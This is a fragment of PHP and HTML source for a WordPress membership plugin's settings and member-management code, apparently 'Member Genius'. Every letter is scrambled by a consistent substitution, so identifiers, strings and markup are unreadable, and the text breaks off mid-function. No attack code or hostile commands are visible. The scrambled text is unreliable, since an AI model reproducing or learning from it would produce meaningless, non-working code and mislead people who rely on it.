StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FmmoxElmxrsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_BtFxuFmmoxElmxrsQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU, P)U } SFAAxuxFmB = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU])U SFAAxuxFmB = qoBz_oBquFDB(QTPMGU@[^f-<P-G\-\.]@nxQTPMGU, QTPMGUQTPMGU, SFAAxuxFmB)U StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU, SFAAxuxFmB)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU, @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU, @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU]))U } } SsrmxAh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==OU SqorAxuBn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==OU SroCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU)U SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU)U SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU)U SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU)==OU SBtFxuFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU)==OU SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)U Snlqqrom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU)U SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (VSsrstBtEBo_lou) { SsrstBtEBo_lou = ((xn_nnu()) W QplrmUymmqn://QplrmU : QplrmUymmq://QplrmU)U } Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (VSurzrlm_lou) { Surzrlm_lou = ((xn_nnu()) W QplrmUymmqn://QplrmU : QplrmUymmq://QplrmU)U } SqFzBn = zBm_qFzBn()U SAorsm_qFzB = PU xA (zBm_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU) == QplrmUqFzBQplrmU) { SAorsm_qFzB = @xsmkFu(zBm_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU))U } WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyU jxCmy:OPPPqiUQplrmUQzmUY         QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU$BmmxsznQplrmU)U WQzmUYY         QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY         QumUWqyq xA (Drlsm(S_01$#) QzmU P): WQzmUY         QumUCxk DuFnn=QplrmUlqCFmBCQplrmUQzmU$Bmmxszn nFkBC.QumU/CxkQzmUY         QumUWqyq BsCxAU WQzmUYY         QumUyMQzmUdlnmrtxgFmxrsnQumU/yMQzmUYY         QumUqQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srmxAhQplrmU QumUWqyq DyBDvBC(SsrmxAh)U WQzmU /QzmU btFxu myB nxmB FCtxsxnmoFmro QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU))U WQzmUQumU/DrCBQzmU FErlm BkBoh moFsnFDmxrs (xsDulCxsz oBAlsCn) nBsm mr myxn tBtEBonyxq nxmBWQumU/uFEBuQzmUQumU/qQzmUYY         QumUqQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_qorAxuBQplrmU QumUWqyq DyBDvBC(SqorAxuBn)U WQzmU /QzmU fuurj lnBon mr kxBj FsC BCxm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv()U WQzmUQplrmUQzmUmyBxo rjs qorAxuB xsArotFmxrsQumU/FQzmUWQumU/uFEBuQzmUQumU/qQzmUYY         QumUyMQzmUaorsm 0FzBQumU/yMQzmUY         QumUEurDvplrmBQzmUY            QumUqQzmU7A hrlQTPMGUoB lnxsz ?roC0oBnn mr yrnm hrlo nFuBn uBmmBo nBqFoFmBuh (x.B. F nBqFoFmB ?roC0oBnn xsnmFuuFmxrs Fm QumUDrCBQzmUBiFtquB.DrtQumU/DrCBQzmU FsC myxn tBtEBonyxq nxmB Fm QumUDrCBQzmUBiFtquB.Drt/tBtEBonQumU/DrCBQzmU), jB oBDrttBsC hrl uBFkB myBnB nBmmxszn FursB.QumU/qQzmUYY            QumUqQzmU1s myB rmyBo yFsC, xA hrlQTPMGUoB lnxsz myxn ?roC0oBnn nxmB mr yrnm e1#8 hrlo tBtEBonyxq nxmB FsC nFuBn uBmmBo, nBm myB QFtqUplrmUAorsm qFzBQFtqUplrmU EBurj mr EB myB Aorsm qFzB Aro urzzBC-xs tBtEBon, FsC myB QFtqUplrmUsrs-tBtEBoQFtqUplrmU qFzB mr EB hrlo nFuBn uBmmBo, jyBoB tBtEBon DFs DuxDv F Elmmrs mr Elh FDDBnn xsmr hrlo tBtEBonyxq nxmB.QumU/qQzmUYY            QumUqQzmUQumUuFEBuQzmUaorsm 0FzB:QumU/uFEBuQzmUY            QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmUQzmUY               QumUrqmxrs kFulB=QplrmUPQplrmU QumUWqyq nBuBDmBC(SAorsm_qFzB==P)U WQzmUQzmU(2r cBAFlum 0FzB)QumU/rqmxrsQzmUY               QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY               QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } WQzmUY               QumUrqmxrs QumUWqyq nBuBDmBC(SAorsm_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY               QumUWqyq BsCAroBFDyU WQzmUY            QumU/nBuBDmQzmUY            QumUWqyq xA (SAorsm_qFzB QzmU P): WQzmUY            QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr zBm_qBotFuxsv(SAorsm_qFzB)U WQzmUQplrmUQzmU!xBj aorsm 0FzBQumU/FQzmUY            QumUWqyq BsCxAU WQzmUY            QumU/qQzmUYY            QumUqQzmUQumUuFEBuQzmU2rs-3BtEBo 0FzB:QumU/uFEBuQzmU Y            QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_srstBtEBo_louQTPMGU).Fmmo(QTPMGUCxnFEuBCQTPMGU, myxn.kFulBV=P)UQplrmUQzmUY               QumUrqmxrs kFulB=QplrmUQplrmU QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==P)U WQzmUQzmUbsmBo Fs BimBosFu ;	4 EBurj...QumU/rqmxrsQzmUY               QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==QplrmU-OQplrmU)U WQzmUQzmU[?roC0oBnn 4rzxs 0FzB]QumU/rqmxrsQzmUY               QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY               QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } xA (StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(SqFzB-QzmU7c)) { DrsmxslBU } WQzmUY               QumUrqmxrs QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY               QumUWqyq BsCAroBFDyU WQzmUY            QumU/nBuBDmQzmU QumUntFuuQzmU(BimBosFu ;	4 ro QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUu=-OQplrmU)U WQzmUQplrmUQzmU;20	1#bd#bc qFzBQumU/FQzmU rs hrlo nxmB)QumU/ntFuuQzmUQumUEo /QzmUY            QumUxsqlm mhqB=QplrmUmBimQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU nxgB=QplrmUJKQplrmU QumUWqyq CxnFEuBC(SsrstBtEBo_qFzBV=P)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SsrstBtEBo_lou)U WQzmUQplrmU QumUWqyq CxnFEuBC(SsrstBtEBo_qFzBV=P)U WQzmU /QzmUY            QumUWqyq xA (SsrstBtEBo_qFzB==P QFtqUQFtqU SsrstBtEBo_lou || SsrstBtEBo_qFzB QzmU P): WQzmUY            QumUWqyq xA (SsrstBtEBo_qFzB == P) { SsrstBtEBo_uxsv = SsrstBtEBo_louU } BunB { SsrstBtEBo_uxsv = zBm_qBotFuxsv(SsrstBtEBo_qFzB)U } WQzmUY            QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SsrstBtEBo_uxsv)U WQzmUQplrmUQzmU!xBj 2rs-3BtEBo 0FzBQumU/FQzmUY            QumUWqyq BsCxAU WQzmUY            QumU/qQzmUYY            QumUqQzmUQumUuFEBuQzmU4rz-1lm 0FzB:QumU/uFEBuQzmU Y            QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_urzrlm_louQTPMGU).Fmmo(QTPMGUCxnFEuBCQTPMGU, myxn.kFulBV=P)UQplrmUQzmUY               QumUrqmxrs kFulB=QplrmUQplrmU QumUWqyq nBuBDmBC(Surzrlm_qFzB==P)U WQzmUQzmUbsmBo Fs BimBosFu ;	4 EBurj...QumU/rqmxrsQzmUY               QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq nBuBDmBC(Surzrlm_qFzB==QplrmU-OQplrmU)U WQzmUQzmU[?roC0oBnn 4rzxs 0FzB]QumU/rqmxrsQzmUY               QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY               QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } xA (StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(SqFzB-QzmU7c)) { DrsmxslBU } WQzmUY               QumUrqmxrs QumUWqyq nBuBDmBC(Surzrlm_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY               QumUWqyq BsCAroBFDyU WQzmUY            QumU/nBuBDmQzmU QumUntFuuQzmU(BimBosFu ;	4 ro QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUu=-OQplrmU)U WQzmUQplrmUQzmU;20	1#bd#bc qFzBQumU/FQzmU rs hrlo nxmB)QumU/ntFuuQzmUQumUEo /QzmUY            QumUxsqlm mhqB=QplrmUmBimQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU nxgB=QplrmUJKQplrmU QumUWqyq CxnFEuBC(Surzrlm_qFzBV=P)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Surzrlm_lou)U WQzmUQplrmU QumUWqyq CxnFEuBC(Surzrlm_qFzBV=P)U WQzmU /QzmUY            QumUWqyq xA (Surzrlm_qFzB==P QFtqUQFtqU Surzrlm_lou || Surzrlm_qFzB QzmU P): WQzmUY            QumUWqyq xA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunB { Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } WQzmUY            QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Surzrlm_uxsv)U WQzmUQplrmUQzmU!xBj 4rz-1lm 0FzBQumU/FQzmUY            QumUWqyq BsCxAU WQzmUY            QumU/qQzmUY         QumU/EurDvplrmBQzmU QumUV-- yM Aorsm qFzB --QzmUYY         QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUYY         QumUyMQzmUdlnmrt 8BFCBo QFtqUFtqU arrmBoQumU/yMQzmUY         QumUEurDvplrmBQzmUY            QumUqQzmUfCC moFDvxsz DrCB mr hrlo tBtEBonyxq nxmB -- 8#34 ro 080 xn rv.QumU/qQzmUYY            QumUqQzmUQumUnmorszQzmU$xmBjxCB 8BFCBo:QumU/nmorszQzmUQumUEo /QzmUY            QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUGPQplrmU orjn=QplrmUIQplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SyBFCBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY            QumUqQzmUQumUnmorszQzmU$xmBjxCB arrmBo:QumU/nmorszQzmUQumUEo /QzmUY            QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUGPQplrmU orjn=QplrmUIQplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SArrmBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUY         QumU/EurDvplrmBQzmUYY         QumUyMQzmU0rnm $rom 1oCBoQumU/yMQzmUY         QumUEurDvplrmBQzmUY         QumUqQzmU7A hrl jFsm mr DyFszB myB roCBo myFm qrnmn FoB nyrjs (nlDy Fn ruCBnm mr sBjBnm ro sBjBnm mr ruCBnm), DyFszB myFm yBoB.QumU/qQzmUYY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU kFulB=QplrmUCBnDBsCxszQplrmU QumUWqyq DyBDvBC(SroCBo==QplrmUCBnDBsCxszQplrmU)U WQzmU /QzmU 2BjBnm 1s #rq, 1uCBnm rs ermmrt QumUBtQzmU(CBnDBsCxsz)QumU/BtQzmUQumU/uFEBuQzmUQumUEo /QzmUY         QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU kFulB=QplrmUFnDBsCxszQplrmU QumUWqyq DyBDvBC(SroCBo==QplrmUFnDBsCxszQplrmU)U WQzmU /QzmU 1uCBnm 1s #rq, 2BjBnm rs ermmrt QumUBtQzmU(FnDBsCxsz)QumU/BtQzmUQumU/uFEBuQzmUY         QumU/EurDvplrmBQzmUYY         QumUyMQzmU1AAnxmB 4xsvnQumU/yMQzmUYY         QumUqQzmU3BtEBo 9Bsxln DFs CxnquFh myBnB uxsvn Fm myB Ermmrt rA hrlo tBtEBonyxq nxmB, sr tFmmBo jyFm myBtB hrl FoB DlooBsmuh lnxsz.QumU/qQzmUYY         QumUEurDvplrmBQzmUY            QumUqQzmUQumUEQzmU$lqqrom cBnv:QumU/EQzmU ?B oBDrttBsC hrl nBmlq 12b nlqqrom mxDvBm nhnmBt lnxsz <BscBnv ro QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.CrlEuBFzBsmyBuqCBnv.DrtQplrmUQzmU	yxsr$lqqromQumU/FQzmU nr hrl rsuh sBBC mr DyBDv rsB urDFmxrs Aro DlnmrtBo nlqqrom xnnlBn nlDy Fn urnm qFnnjroCn, qoB-nFuBn plBnmxrsn, ro oBAlsC oBplBnmn.QumU/qQzmUYY            QumUqQzmUQumUuFEBuQzmU$lqqrom cBnv ;	4: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Snlqqrom)U WQzmUQplrmU DuFnn=QplrmUDrCBQplrmU nxgB=QplrmUMKQplrmU /QzmUQumU/uFEBuQzmU QumUntFuuQzmU(tlnm xsDulCB QFtqUplrmUymmq://QFtqUplrmU xs jBE FCCoBnn)QumU/ntFuuQzmUQumU/qQzmUYY            QumUqQzmUQumUEQzmUfAAxuxFmB 4xsv:QumU/EQzmU 7A hrl jrluC uxvB mr qortrmB myB 3BtEBo 9Bsxln qulzxs mr hrlo tBtEBon FsC BFos F Drttxnnxrs, quBFnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.tBtEBozBsxln.Drt/FAAxuxFmBnQplrmUQzmUoBzxnmBo Aro rlo FAAxuxFmB qorzoFtQumU/FQzmU FsC qFnmB hrlo FAAxuxFmB uxsv xs myB Eri EBurj.QumU/qQzmUYY            QumUqQzmUY               fAAxuxFmB 7c (rqmxrsFu): QumUuFEBuQzmUQumUDrCBQzmUymmq://tBtEBozBsxln.Drt/39/WB=QumU/DrCBQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SFAAxuxFmB)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY               QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_FmmoxElmxrsQplrmU QumUWqyq DyBDvBC(SFmmoxElmxrs)U WQzmU /QzmU $yrj 4xsv xs $xmB arrmBoQumU/uFEBuQzmU QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_BtFxuFmmoxElmxrsQplrmU QumUWqyq DyBDvBC(SBtFxuFmmoxElmxrs)U WQzmU /QzmU $BsC 4xsv xs btFxu 2rmxAxDFmxrsnQumU/uFEBuQzmUY            QumU/qQzmUY         QumU/EurDvplrmBQzmUYY         QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY         QumU/ArotQzmUY      QumU/CxkQzmUY      QumUWqyqY } qoxkFmB AlsDmxrs mxtBnxsDB(Smntq) { SCxAAl = FooFh( QTPMGUnBDrsCnQTPMGU=QzmUN, QTPMGUtxslmBnQTPMGU =QzmU ONP, QTPMGUyrlonQTPMGU =QzmU INPP, QTPMGUCFhnQTPMGU =QzmU OINHPP, QTPMGUtrsmynQTPMGU =QzmU KNKGLHI, QTPMGUhBFonQTPMGU =QzmU JMOOMHKO )U SCxAA = mxtB() - (Smntq)U SCm = QTPMGUP nBDrsCn FzrQTPMGUU AroBFDy(SCxAAl Fn Sl =QzmU Ss){ xA(SCxAAQzmUSs) {SCm = Aurro(SCxAA/(.K*Ss)).QTPMGU QTPMGU.Sl.QTPMGU FzrQTPMGUU} } oBmlos SCmU } qlEuxD AlsDmxrs tBsl_tBtEBon() { zurEFu StBtEBozBsxlnU StBnnFzB = sluuU StBnnFzB4BkBun = sluuU SlnBon = FooFh()U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU])) { SlnBon = S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU]U } SFDmxrs = (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUtBtEBonQplrmUU SuBkBun = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU]) QFtqUQFtqU xn_sltBoxD(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])) { SuBkBun = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU])) { AroBFDy (SlnBon Fn SlnBo) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUtrkB(SlnBo, SuBkBun)U StBnnFzB = QplrmUtrkBQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBun)U StBnnFzB = QplrmUFCCQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SlnBo, SuBkBun)U StBnnFzB = QplrmUoBtrkBQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo, SuBkBun)U StBnnFzB = QplrmUDFsDBuQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlsDFsDBu(SlnBo, SuBkBun)U StBnnFzB = QplrmUlsDFsDBuQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB;nBo(SlnBo)U StBnnFzB = QplrmUCBuBmBQplrmUU StBnnFzB4BkBun = SuBkBunU } } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqn_CBuBmBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU])) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) Fn SmBtq) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB#Btq(SmBtq)U } } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqn_DrtquBmBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU])) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) Fn SmBtq) { StBtEBozBsxln-QzmUtrCBu-QzmUDrtquBmB#Btq(SmBtq)U } } SsBjlnBo = AFunBU xA (xnnBm(S_01$#[QplrmUFDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUFDmxrsQplrmU] == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { 